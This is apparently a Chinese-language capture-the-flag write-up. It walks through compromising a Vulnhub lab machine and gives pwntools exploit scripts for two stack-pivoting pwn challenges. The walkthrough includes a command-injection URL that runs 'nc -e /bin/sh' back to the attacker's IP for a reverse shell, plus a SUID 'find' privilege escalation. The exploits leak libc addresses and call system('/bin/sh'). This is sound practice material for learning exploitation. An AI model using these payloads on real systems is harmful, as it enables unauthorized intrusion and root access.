扫不到 IP 可以参考之前的文章:Vulnhub分配IP问题 | w4sp-lab环境搭建
改了之后就扫到了
扫描一下端口
nmap -p- -A 192.168.149.173
查看网页源码,最下面有个 base64,解出来看看
解了 3 次,解出来个
workinginprogress.php
访问一下,看着这个页面莫名其妙的感觉应该有命令执行...试了一下...这...
kali 上面监听一下
访问一下:
http://192.168.149.173/workinginprogress.php?cmd=nc -e /bin/sh 192.168.149.141 6666
打开一个交互 shell
python -c "import pty;pty.spawn('/bin/bash')"
看一下哪一些程序用 root 权限运行的
find / -user root -perm -4000 -print 2>/dev/null
find . -exec /bin/sh -p \; -quit
字数不够怎么办 ... 凑两个 pwn 题,栈迁移的,嘿嘿
我瞎了,一开始我看到这个 hack 函数,echo flag,嗯,返回到这个地方就打印出 flag 了,又是一道简单的 ret2text
结果写好 exp,只打印出了“flag”才幡然醒悟哈哈哈哈
这道题,栈迁移,找一下 leave;ret 0x080484b8
栈迁移原理:PWN!栈迁移原理
from pwn import *
#p=remote('node3.buuoj.cn',27789)
p=process('./ciscn')
context.log_level='debug'
sys_addr = 0x08048400
leave_ret = 0x080484b8
payload ='a'*0x20+'bbbbbbbb'
gdb.attach(p,'b *0x80485CD')
p.send(payload)
p.recvuntil('bbbbbbbb')
leak_addr = u32(p.recv(4))
print "======="
print "0x%x" %leak_addr
print "======="
payload2 =('aaaa'+p32(sys_addr)+'bbbb'+p32(leak_addr-0x28)+'/bin/sh\x00').ljust(0x28,'a')
payload2+=p32(leak_addr-0x38)+p32(leave_ret)
p.sendline(payload2)
p.interactive()
通过调试可以看到我们泄露出来的那个值,跟 ebp 的距离正好是 0x10
所以把 fake_ebp 设置为 leak_addr-0x38
from pwn import *
from LibcSearcher import *
context.log_level='debug'
p=process('./spwn')
elf=ELF('./spwn')
#p=remote('node3.buuoj.cn',28212)
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']
leave_addr = 0x08048511
bss_addr = 0x804A300
p.recvuntil('name?')
payload ='a'*4 + p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.send(payload)
p.recvuntil('say?')
payload1 = 'a'*24 + p32(bss_addr)+p32(leave_addr)
p.send(payload1)
write_addr = u32(p.recv(4))
print "0x%x" %write_addr
libc = LibcSearcher("write",write_addr)
libc_base = write_addr - libc.dump('write')
sys_addr = libc_base + libc.dump('system')
print "0x%x" %sys_addr
p.recv()
payload2 ='a'*4 + p32(sys_addr) + 'a'*4 + p32(bss_addr + 4*4) + "/bin/sh\x00"
p.send(payload2)
p.recv()
payload3 = 'a'*0x18 + p32(bss_addr) + p32(leave_addr)
p.send(payload3)
p.interactive()